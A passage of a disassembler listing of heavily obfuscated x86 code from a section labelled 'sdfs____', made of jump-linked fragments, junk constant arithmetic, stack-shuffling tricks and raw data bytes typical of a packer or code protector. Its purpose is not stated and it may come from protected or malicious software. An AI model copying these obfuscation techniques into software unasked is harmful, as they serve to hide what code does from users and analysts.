; ---------------------------------------------------------------------------


loc_599CC6:				; CODE XREF: sdfs____:005993C2j
		push	ebx
		push	eax
		jmp	loc_5AFF2A
; ---------------------------------------------------------------------------


loc_599CCD:				; CODE XREF: sdfs____:00599651j
		pop	edi
		xor	ecx, [esp]
		jmp	loc_5A2547
; ---------------------------------------------------------------------------
word_599CD6	dw 478Fh		; DATA XREF: sdfs____:00598F60o
		dd 0F431E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599CDE:				; CODE XREF: sdfs____:005A22FBj
		add	ebp, 77D012B9h
		and	ebp, 20BE2767h
		sub	ebp, 4F777CBFh
		jnb	loc_5AB85C
		jmp	loc_59B848
; ---------------------------------------------------------------------------


loc_599CFB:				; CODE XREF: sdfs____:loc_59A8D7j
					; sdfs____:005A145Ej
		and	ecx, 79A75642h
		jmp	loc_5AA097
; ---------------------------------------------------------------------------


loc_599D06:				; CODE XREF: sdfs____:005A8CAEj
		sub	ch, 81h
		jmp	loc_599211
; ---------------------------------------------------------------------------


loc_599D0E:				; CODE XREF: sdfs____:005A0C55j
		sub	esp, 4
		jmp	loc_5A608B
; ---------------------------------------------------------------------------
		dw 483h
		dd 3C8B0424h, 4C48124h,	0E9000000h, 3C06h
; ---------------------------------------------------------------------------


loc_599D28:				; CODE XREF: sdfs____:00599FE4j
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_59A049
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 5Bh
		dd 87E9D601h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599D43:				; CODE XREF: sdfs____:005A2B15j
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 0F4E9F089h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599D4F:				; CODE XREF: sdfs____:005ACF51j
		mov	eax, 1D6C1590h
		add	eax, 66A2673Bh
		add	eax, 0D4C6FAE6h
		push	edi
		jmp	loc_59E199
; ---------------------------------------------------------------------------


loc_599D64:				; CODE XREF: sdfs____:005A8937j
		push	eax
		jmp	loc_5A3E0E
; ---------------------------------------------------------------------------


loc_599D6A:				; CODE XREF: sdfs____:0059F4EAj
		mov	ebp, [esp]
		jmp	loc_59F1C3
; ---------------------------------------------------------------------------


loc_599D72:				; CODE XREF: sdfs____:0059FCFCj
		add	edx, 2
		push	7BA7h
		jmp	loc_5ABCD2
; ---------------------------------------------------------------------------


loc_599D7F:				; CODE XREF: sdfs____:00599246j
					; sdfs____:005AB78Bj
		mov	ebx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A8750
; ---------------------------------------------------------------------------


loc_599D8A:				; CODE XREF: sdfs____:0059C7BDj
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_59A4CD
; ---------------------------------------------------------------------------


loc_599D94:				; CODE XREF: sdfs____:005ABC72j
		mov	[esp], ebx
		jmp	loc_5A5C44
; ---------------------------------------------------------------------------


loc_599D9C:				; CODE XREF: sdfs____:005A28F2j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5A6B99
; ---------------------------------------------------------------------------


loc_599DAB:				; CODE XREF: sdfs____:005A3246j
		mov	ch, dl
		pop	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A8AD3
; ---------------------------------------------------------------------------


loc_599DB7:				; CODE XREF: sdfs____:005AFE10j
		push	esi
		mov	esi, 8F73D7h
		sub	eax, 29B619E5h
		sub	eax, esi
		add	eax, 29B619E5h
		mov	esi, [esp]
		jmp	loc_5AF60D
; ---------------------------------------------------------------------------
aI4HO		db '‰4$h~o',0
		dd 5FDFE900h, 0A1050001h, 0FF047455h, 0C9E92434h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599DEB:				; CODE XREF: sdfs____:005B009Dj
		push	edx
		mov	edx, 3A1B218Ah
		add	edx, 0C5E4DE77h
		mov	ecx, edx
		pop	edx
		mov	esi, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		push	esi
		mov	esi, 0FF45A47h
		mov	ebp, esi
		jmp	loc_5AC258
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0BE56243Ch, 65EB5311h, 818670BFh,	5EF7298Dh
		dd 0F106A4BBh, 6396E92Eh
		db 1, 0
; ---------------------------------------------------------------------------


loc_599E42:				; CODE XREF: sdfs____:005AFBAEj
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 5504275Ah
		neg	edx
		jmp	loc_59DAA0
; ---------------------------------------------------------------------------


loc_599E58:				; CODE XREF: sdfs____:005A8158j
					; sdfs____:loc_5AD6B8j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5A90EC
; ---------------------------------------------------------------------------
		db 28h
		dd 1C8B59C8h, 4C48124h,	53000000h, 0F6B0B450h, 5E4C0DCh
		dd 0C480CCFEh, 58E38851h, 285BD800h, 0E9502CD8h, 917Ah
; ---------------------------------------------------------------------------


loc_599E8C:				; CODE XREF: sdfs____:005AAE2Bj
		mov	eax, 5C2259DAh
		xor	eax, 64573453h
		push	edx
		mov	edx, 22125D7Fh
		inc	edx
		push	ecx
		push	31D823F7h
		pop	ecx
		not	ecx
		push	edx
		mov	edx, 6167BB84h
		sub	ecx, edx
		jmp	loc_5A6C3A
; ---------------------------------------------------------------------------
		db 1
aST		db 'Ðé',0Dh,'T',0
		align 2
		dw 76B4h
		dd 0E901C480h, 114FBh
; ---------------------------------------------------------------------------


loc_599EC4:				; CODE XREF: sdfs____:loc_59DE9Cj
					; sdfs____:005A7DDFj
		mov	[esp], eax
		mov	eax, 4B95596h
		shl	eax, 4
		xor	eax, 53741FC1h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, 18E146A5h
		xor	ebx, esi
		pop	esi
		push	edx
		mov	edx, 6B75156Fh
		neg	edx
		xor	edx, 5C6C4A96h
		jmp	loc_59F058
; ---------------------------------------------------------------------------


loc_599EF7:				; CODE XREF: sdfs____:005AFA2Cj
		push	eax
		push	0F1B4273h
		pop	eax
		xchg	eax, edx
		not	edx
		jmp	loc_59FDA0
; ---------------------------------------------------------------------------


loc_599F06:				; CODE XREF: sdfs____:005AE7ECj
		push	eax
		jmp	loc_59C4A3
; ---------------------------------------------------------------------------
		dd 5C241C87h, 54242C89h, 4C5815Dh, 81000000h, 4EDh, 242C8700h
		dd 10582E9h
		db 0
; ---------------------------------------------------------------------------


loc_599F29:				; CODE XREF: sdfs____:00599587j
		jnz	loc_59E60F
		push	small 744Ch
		mov	[esp], cx
		mov	edi, eax
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 164137F7h
		sub	ebx, 683C2089h
		jmp	loc_5A210C
; ---------------------------------------------------------------------------
		dd 8904EC83h, 2AE92434h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_599F5B:				; CODE XREF: sdfs____:005A5951j
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		jmp	loc_59E9A6
; ---------------------------------------------------------------------------
		dw 89BBh
		dd 29E7F1E2h, 0C2815BDFh, 39756003h, 0BB53FA29h, 39756003h
		dd 0E95BDA29h, 78CEh
; ---------------------------------------------------------------------------


loc_599F84:				; CODE XREF: sdfs____:005AE415j
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_59F300
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 53000000h, 34100FBBh, 66CB811Eh, 0F7481634h,	25CB81DBh
		dd 0E906F334h, 2B01h
; ---------------------------------------------------------------------------


loc_599FB4:				; CODE XREF: sdfs____:0059BC54j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		push	1FCh
		jmp	loc_59D7B2
; ---------------------------------------------------------------------------


loc_599FDF:				; CODE XREF: sdfs____:loc_59C346j
		or	eax, 112D52A3h
		jz	loc_599D28
		shl	eax, 8
		jmp	loc_59B91B
; ---------------------------------------------------------------------------


loc_599FF2:				; CODE XREF: sdfs____:005A1D84j
		xchg	ebp, [esp]
		jmp	loc_5AE4D8
; ---------------------------------------------------------------------------


loc_599FFA:				; CODE XREF: sdfs____:005AA38Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, edi
		jmp	loc_5AC116
; ---------------------------------------------------------------------------


loc_59A008:				; CODE XREF: sdfs____:005A33EDj
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_5A5E9C
; ---------------------------------------------------------------------------


loc_59A017:				; CODE XREF: sdfs____:0059F84Aj
		mov	[esp], ecx
		jmp	loc_5AD941
; ---------------------------------------------------------------------------


loc_59A01F:				; CODE XREF: sdfs____:005A419Fj
					; sdfs____:005A6A66j
		add	esp, 4
		sub	dh, 3Eh
		jnp	loc_5AE237
		jmp	loc_5A5090
; ---------------------------------------------------------------------------
		db 83h
		dd 0CE8904EBh, 4C381h, 0EB810000h, 4, 24F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A049:				; CODE XREF: sdfs____:00599D34j
		pop	esp
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_5A14E5
; ---------------------------------------------------------------------------


loc_59A057:				; CODE XREF: sdfs____:005A3FE9j
		push	edx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	edx
		jmp	loc_59DC4D
; ---------------------------------------------------------------------------
		dw 0C800h
		dd 10589E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A06D:				; CODE XREF: sdfs____:005ADF83j
		mov	ch, al
		jmp	loc_59FBAE
; ---------------------------------------------------------------------------


loc_59A074:				; CODE XREF: sdfs____:0059B639j
		mov	esp, [esp]
		jmp	loc_5AB059
; ---------------------------------------------------------------------------


loc_59A07C:				; CODE XREF: sdfs____:0059D283j
					; sdfs____:005A3AC2j
		pop	ecx
		push	76E5h
		mov	[esp], edi
		push	ecx
		push	eax
		push	67C2324Dh
		pop	eax
		xor	eax, 67C2324Fh
		mov	ecx, eax
		pop	eax
		push	ecx
		xor	dword ptr [esp], 5BAB119Fh
		pop	edi
		xor	edi, 5BAB119Fh
		mov	ecx, [esp]
		jmp	loc_5A8613
; ---------------------------------------------------------------------------


loc_59A0AC:				; CODE XREF: sdfs____:005ACA80j
		push	dword ptr [esp]
		pop	eax
		push	267Dh
		mov	[esp], edx
		push	esp
		jmp	loc_5A3A32
; ---------------------------------------------------------------------------


loc_59A0BE:				; CODE XREF: sdfs____:005A89F4j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_59DAB9
; ---------------------------------------------------------------------------


loc_59A0CA:				; CODE XREF: sdfs____:005AD08Bj
		pop	edi
		add	ebx, 1CCA56E3h
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, eax
		jmp	loc_5A0B5D
; ---------------------------------------------------------------------------


loc_59A0E1:				; CODE XREF: sdfs____:005A2D14j
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_59F02F
; ---------------------------------------------------------------------------
		db 81h
		dd 0BF3B63F2h, 0D7895B3Fh, 0E9FE295Ah, 137FFh
; ---------------------------------------------------------------------------


loc_59A0FC:				; CODE XREF: sdfs____:0059AF40j
		add	esp, 4
		pop	ebp
		push	ebp
		push	60127D47h
		mov	ebp, [esp]
		add	esp, 4
		not	ebp
		sub	ebp, 7AC83DC3h
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 727D2F1Ah
		inc	ebx
		jz	loc_5AFCA2
		not	ebx
		sub	ebx, 73B83C57h
		js	loc_5ABB93
		or	ebx, 6C1B1F9Bh
		sub	ebx, 256D889Bh
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 10BC646Fh
		push	edi
		push	ebx
		mov	ebx, 2F3B5D2Ah
		push	ebx
		mov	ebx, 12654970h
		neg	ebx
		jb	loc_5A7D96
		xor	ebx, 30693E6Eh
		mov	al, 68h
		mov	esi, ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_59F001
; ---------------------------------------------------------------------------


loc_59A183:				; CODE XREF: sdfs____:0059FD2Fj
		sub	edi, 5813B25Bh
		mov	eax, edi
		pop	edi
		sub	eax, 2C3A4CEAh
		jmp	loc_59B565
; ---------------------------------------------------------------------------


loc_59A196:				; CODE XREF: sdfs____:005A1942j
		push	2000000h
		push	dword ptr [esp]
		jmp	loc_5A50F8
; ---------------------------------------------------------------------------


loc_59A1A3:				; CODE XREF: sdfs____:loc_59D577j
					; sdfs____:005A3DBCj
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	esi, 625D6A98h
		jmp	loc_5A6F25
; ---------------------------------------------------------------------------


loc_59A1BF:				; CODE XREF: sdfs____:005AAC73j
		push	1EAAh
		mov	[esp], eax
		mov	eax, 204F2616h
		shr	eax, 6
		not	eax
		add	eax, 68A70A86h
		add	eax, 0F4F80C9Dh
		sub	ecx, eax
		jmp	loc_59D8CB
; ---------------------------------------------------------------------------


loc_59A1E2:				; CODE XREF: sdfs____:005A37DAj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_59C2F9
; ---------------------------------------------------------------------------


loc_59A1EC:				; CODE XREF: sdfs____:005AA82Aj
		add	esp, 4
		jmp	loc_5AA4D0
; ---------------------------------------------------------------------------


loc_59A1F4:				; CODE XREF: sdfs____:005A2EF9j
					; sdfs____:005AA6FFj
		shr	ecx, 8
		jnz	loc_5A8A7A
		add	ecx, 5C94AA4h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5AE4DE
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4BB53h, 0EF810000h, 55436794h, 0C781DF29h
		dd 55436794h, 0AB98E9h,	24048700h, 4DD1685Ch, 1C890000h
		dd 57E38924h, 0E6947BFh, 4EC836Fh, 0BE243489h, 30E3982h
		dd 0F75EF709h, 0D2F781D7h, 816E0A05h, 47C1AC7h,	6FE8E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A262:				; CODE XREF: sdfs____:0059C436j
		pop	cx
		sub	bl, 33h
		jmp	loc_59A694
; ---------------------------------------------------------------------------


loc_59A26C:				; CODE XREF: sdfs____:005A79FCj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59E8DC
; ---------------------------------------------------------------------------


loc_59A27A:				; CODE XREF: sdfs____:005ADBC1j
		xor	edi, [esp]
		jmp	loc_5A38A6
; ---------------------------------------------------------------------------
		dw 3BBAh
		dd 0E93A4739h, 9DF1h
; ---------------------------------------------------------------------------


loc_59A28C:				; CODE XREF: sdfs____:0059DBFCj
		push	dword ptr [esp]
		pop	eax
		push	2117h
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		jmp	loc_59A774
; ---------------------------------------------------------------------------
		dw 0F189h
		dd 1E9815Eh, 0E9000000h, 0FFFFF7C3h
; ---------------------------------------------------------------------------


loc_59A2B8:				; CODE XREF: sdfs____:0059DD57j
		add	esp, 4
		jmp	loc_59E0A3
; ---------------------------------------------------------------------------


loc_59A2C3:				; CODE XREF: sdfs____:005A872Fj
		mov	ecx, 20966376h
		not	ecx
		jmp	loc_5AB6EC
; ---------------------------------------------------------------------------


loc_59A2CF:				; CODE XREF: sdfs____:005ABFD3j
		push	eax
		jmp	loc_59CB1C
; ---------------------------------------------------------------------------


loc_59A2D5:				; CODE XREF: sdfs____:0059CE70j
		inc	esi
		sub	esi, 6ABD7F91h
		dec	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A3468
; ---------------------------------------------------------------------------


loc_59A2EB:				; CODE XREF: sdfs____:0059DF07j
		shl	esi, 6
		jmp	loc_59C965
; ---------------------------------------------------------------------------


loc_59A2F3:				; CODE XREF: sdfs____:0059FBDCj
					; sdfs____:005AF4C8j
		add	ecx, 4
		push	edi
		push	esi
		mov	esi, 22307AB6h
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 62AA2948h
		not	edx
		shr	edx, 1
		push	ebp
		mov	ebp, 2C7A70A9h
		jmp	loc_5A639F
; ---------------------------------------------------------------------------


loc_59A328:				; CODE XREF: sdfs____:0059B670j
		jnz	loc_5A62AB
		jmp	loc_5A6D68
; ---------------------------------------------------------------------------
aZSh		db '‡<$éh',0Ah,0
		db 0
; ---------------------------------------------------------------------------


loc_59A33B:				; CODE XREF: sdfs____:005A16EEj
		jmp	loc_5AF2D9
; ---------------------------------------------------------------------------


loc_59A340:				; CODE XREF: sdfs____:005A7618j
		push	4
		pop	ecx
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5993FC
; ---------------------------------------------------------------------------
		dd 0FFD7C935h, 0C18951BFh, 58595D51h, 49F6EA81h, 0C281032Fh
		dd 4B3E2A7Fh, 0A2F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A36D:				; CODE XREF: sdfs____:0059BEE0j
		xor	edi, 5EF47900h
		jns	loc_5A3B08
		shr	edi, 3
		jmp	loc_5A74D6
; ---------------------------------------------------------------------------
		db 5Ah,	80h, 0C3h
		dd 0E9E68908h, 0A513h, 8103E6C1h, 0A07589EEh, 0BDEE8143h
		dd 4E1A2E06h, 0F485EE81h, 0F03182A5h, 879CE9h
		db 0
byte_59A3A9	db 0ADh, 83h, 7Fh	; DATA XREF: sdfs____:00599014o
		dd 840F0020h, 8053h, 5B04EE81h,	0E9516700h, 7381h
; ---------------------------------------------------------------------------


loc_59A3C0:				; CODE XREF: sdfs____:005A550Bj
		pop	edi
		push	786Eh
		mov	[esp], ebx
		mov	ebx, 137B281Dh
		shl	ebx, 1
		jmp	loc_5AAD1D
; ---------------------------------------------------------------------------


loc_59A3D5:				; CODE XREF: sdfs____:005A0B64j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0E87FFE5Bh
		jmp	loc_5ADA64
; ---------------------------------------------------------------------------
		db 31h,	0F9h, 5Fh
		dd 0B27E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A3F1:				; CODE XREF: sdfs____:005A0CDCj
		mov	[esp], esi
		jmp	loc_5A5956
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 12727h
; ---------------------------------------------------------------------------


loc_59A404:				; CODE XREF: sdfs____:005AA249j
		sub	edx, esi
		add	edx, 39C25A60h
		pop	esi
		jmp	loc_5A3ABA
; ---------------------------------------------------------------------------


loc_59A412:				; CODE XREF: sdfs____:0059E74Aj
		pop	ecx
		mov	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5AEDF4
; ---------------------------------------------------------------------------


loc_59A41D:				; CODE XREF: sdfs____:0059F195j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 366CC8h
		add	eax, 20DB3170h
		push	ecx
		mov	ecx, 292B4F63h
		and	eax, ecx
		pop	ecx
		inc	eax
		xor	eax, 21010E25h
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 2
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5A57E0
; ---------------------------------------------------------------------------


loc_59A458:				; CODE XREF: sdfs____:005ACEACj
		add	al, 0AAh
		add	al, 6Ah
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_5A7A4F
; ---------------------------------------------------------------------------
aMsi		db '¬éë',8,0            ; DATA XREF: sdfs____:00598E8Co
		align 2


loc_59A472:				; CODE XREF: sdfs____:0059BB6Ej
		sub	ecx, esi
		jmp	loc_5A74C1
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 6850243Ch, 2154529Fh, 7F910558h, 5CE9277Bh
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A493:				; CODE XREF: sdfs____:0059FE7Cj
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A558D
; ---------------------------------------------------------------------------


loc_59A4A9:				; CODE XREF: sdfs____:005AB362j
		sub	dl, 7Eh
		jmp	loc_5AA160
; ---------------------------------------------------------------------------
		db 0BFh, 0E5h, 26h
		dd 5DE95D04h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A4BB:				; CODE XREF: sdfs____:0059AA16j
		mov	ecx, 7BC21F2Ah
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A3A3E
; ---------------------------------------------------------------------------


loc_59A4CD:				; CODE XREF: sdfs____:00599D8Fj
		pop	dword ptr [esp]
		pop	esp
		mov	ebp, [esp]
		jmp	loc_599A3B
; ---------------------------------------------------------------------------
		db 5Dh,	83h, 0C0h
		dd 24048704h, 0E924248Bh, 6075h
dword_59A4E8	dd 81240C8Bh, 4ECh, 24348900h, 12F42E9h		db 0
; ---------------------------------------------------------------------------


loc_59A4F9:				; CODE XREF: sdfs____:005A1F5Dj
		mov	ecx, 715B5B11h
		sub	eax, ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5ABAD7
; ---------------------------------------------------------------------------


loc_59A50F:				; CODE XREF: sdfs____:0059BA19j
		mov	eax, edx
		jmp	loc_5AB3AB
; ---------------------------------------------------------------------------
word_59A516	dw 8B66h		; DATA XREF: sdfs____:00598FBCo
		dd 0EC83240Ch, 24048904h, 4F1568h, 24248900h, 0AAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_59A52D:				; CODE XREF: sdfs____:005A9BA5j
		movzx	eax, al
		mov	dx, [esp]
		push	esi
		push	esp
		jmp	loc_5A398A
; ---------------------------------------------------------------------------


loc_59A53B:				; CODE XREF: sdfs____:loc_5A9AF7j
		add	ebp, 7F270EB6h
		jl	loc_5A9942
		neg	ebp
		jo	loc_5A63BC
		xor	ebp, 14582F8Eh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3D4A583Fh
		xor	ebp, 51480D96h
		not	ebp
		xor	ebp, 390F76F9h
		xor	ebp, 0F9EDCF6Dh
		sub	eax, 4CBE1F70h
		jmp	loc_5A4D55
; ---------------------------------------------------------------------------


loc_59A57E:				; CODE XREF: sdfs____:005A7F13j
		push	eax
		mov	eax, 4E4860B0h
		mov	edx, eax
		jmp	loc_5A7B60
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2E43619Bh, 0E403E235h, 8BC18925h, 0C4832404h, 21506804h
		dd 24E93697h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A5A7:				; CODE XREF: sdfs____:005AB233j
		mov	ebp, edi
		pop	edi
		add	ebp, 74745DAAh
		not	ebp
		jmp	loc_5A0272
; ---------------------------------------------------------------------------


loc_59A5B7:				; CODE XREF: sdfs____:0059D025j
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_59CE50
; ---------------------------------------------------------------------------


loc_59A5C2:				; CODE XREF: sdfs____:005AD173j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 20F54226h
		add	ebp, ecx
		sub	ebp, 20F54226h
		pop	ecx
		push	7840h
		jmp	loc_5AAA8D
; ---------------------------------------------------------------------------


loc_59A5EF:				; CODE XREF: sdfs____:005A4408j
		mov	ebx, 2
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 68h
		dd 2, 5BD8015Bh, 0A4D7E9h, 0C875000h, 51D1F724h, 42474FFh
		dd 10FEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_59A625:				; CODE XREF: sdfs____:005AC0F9j
		mov	[esp], edi
		mov	edi, 440C01B3h
		jmp	loc_59DE77
; ---------------------------------------------------------------------------


loc_59A632:				; CODE XREF: sdfs____:0059B027j
		add	ecx, 69AE4D94h
		push	ecx
		pop	ebx
		jmp	loc_59B087
; ---------------------------------------------------------------------------


loc_59A63F:				; CODE XREF: sdfs____:005A628Cj
		jmp	loc_59C7F0
; ---------------------------------------------------------------------------
		dd 8E9E389h, 88000013h,	5B57E9CFh
		db 1, 0
aMsZ		db '¬é½Z',0             ; DATA XREF: sdfs____:005990A4o
		align 4


loc_59A658:				; CODE XREF: sdfs____:005AF4DBj
		dec	edx
		add	edx, 2C43F72h
		jmp	loc_59EBF5
; ---------------------------------------------------------------------------
		dd 0DB9E953h, 0EC830001h, 7DFCE904h
		db 2 dup(0)
word_59A672	dw 31ADh		; DATA XREF: sdfs____:00599018o
		dd 0E38953D8h, 789EBF57h, 0E7814F7Bh, 61E53F0Eh, 814FD7F7h
		dd 9EC7ECEFh, 0E9FB01BEh, 7B86h
; ---------------------------------------------------------------------------


loc_59A694:				; CODE XREF: sdfs____:0059A267j
		pop	ecx
		add	bl, 92h
		movzx	eax, al
		jmp	loc_5ADEF0
; ---------------------------------------------------------------------------


loc_59A6A0:				; CODE XREF: sdfs____:005A6B68j
		xor	edx, [ebx]
		pop	ebx
		push	1954h
		mov	[esp], ecx
		push	64CF79AEh
		pop	ecx
		jmp	loc_5A6ED7
; ---------------------------------------------------------------------------


loc_59A6B6:				; CODE XREF: sdfs____:005A2BA5j
		push	48Bh
		mov	[esp], edx
		push	ebp
		jmp	loc_5AEF93
; ---------------------------------------------------------------------------


loc_59A6C4:				; CODE XREF: sdfs____:005A774Fj
		xor	ecx, 2C84265Fh
		jmp	loc_5A7BF4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 268A0FD8h, 0F7FFFFF3h, 0B869E9D0h, 800F0000h, 515Eh
		dd 0EC81D2F7h, 4, 7C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A6F1:				; CODE XREF: sdfs____:005A6E3Fj
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	ecx
		push	7282h
		jmp	loc_59987A
; ---------------------------------------------------------------------------


loc_59A711:				; CODE XREF: sdfs____:005A8374j
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	esi, 66134CB9h
		xor	esi, 48B467BDh
		jmp	loc_5A7044
; ---------------------------------------------------------------------------
		dw 2858h
		dd 96C680DEh, 81241C8Bh, 4C4h, 27B05000h, 2334CE2Ch, 1FE9C434h
		dd 8900006Ah, 4D70E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A756:				; CODE XREF: sdfs____:0059C2F4j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	3673h
		mov	[esp], esi
		jmp	loc_5A81F9
; ---------------------------------------------------------------------------


loc_59A774:				; CODE XREF: sdfs____:0059A2A5j
		add	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		jmp	loc_59C298
; ---------------------------------------------------------------------------


loc_59A781:				; CODE XREF: sdfs____:005A321Dj
		sub	ebx, 0CADB66E1h
		add	esi, 9642939h
		sub	esi, ebx
		sub	esi, 9642939h
		pop	ebx
		add	esi, 67005B04h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A2227
; ---------------------------------------------------------------------------
byte_59A7A7	db 64h			; DATA XREF: sdfs____:00599038o
		dd 60E9028Fh, 0E9FFFFE9h, 0F9ACh, 4EC81h, 34890000h, 6779BE24h
		dd 0BB537437h, 0D433CB9h, 13DEBE9h, 7D810F00h, 35FFFFFBh
		dd 0BFFFD7C9h, 51C18951h
		db 5Dh,	59h, 58h
; ---------------------------------------------------------------------------


loc_59A7DF:				; CODE XREF: sdfs____:005A5759j
		pop	esi
		not	ebx
		jmp	loc_5A2984
; ---------------------------------------------------------------------------


loc_59A7E7:				; CODE XREF: sdfs____:005A48EEj
		push	ebp
		mov	ebp, 1AF37417h
		xor	ebx, ebp
		jmp	loc_5A8E0D
; ---------------------------------------------------------------------------
		dd 24048B5Ah, 8904EC83h, 3CE9241Ch
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A803:				; CODE XREF: sdfs____:005ACD38j
		pop	esp
		jmp	loc_59F126
; ---------------------------------------------------------------------------


loc_59A809:				; CODE XREF: sdfs____:005A58CAj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A9746
; ---------------------------------------------------------------------------


loc_59A812:				; CODE XREF: sdfs____:005A1A53j
		push	edx
		jmp	loc_5ACECC
; ---------------------------------------------------------------------------


loc_59A818:				; CODE XREF: sdfs____:005A9950j
					; sdfs____:005AECD7j
		mov	[esp], ebx
		mov	bh, ch
		mov	[edi+eax*4], bh
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_59E3EC
; ---------------------------------------------------------------------------


loc_59A829:				; CODE XREF: sdfs____:005A745Bj
		sub	eax, 7E304CE6h
		jmp	loc_5A30E2
; ---------------------------------------------------------------------------


loc_59A833:				; CODE XREF: sdfs____:0059928Cj
		add	bl, al
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	small 5513h
		mov	[esp], cx
		mov	ch, 0D2h
		add	bl, ch
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		push	eax
		mov	al, 33h
		add	al, 2Fh
		add	bl, al
		pop	eax
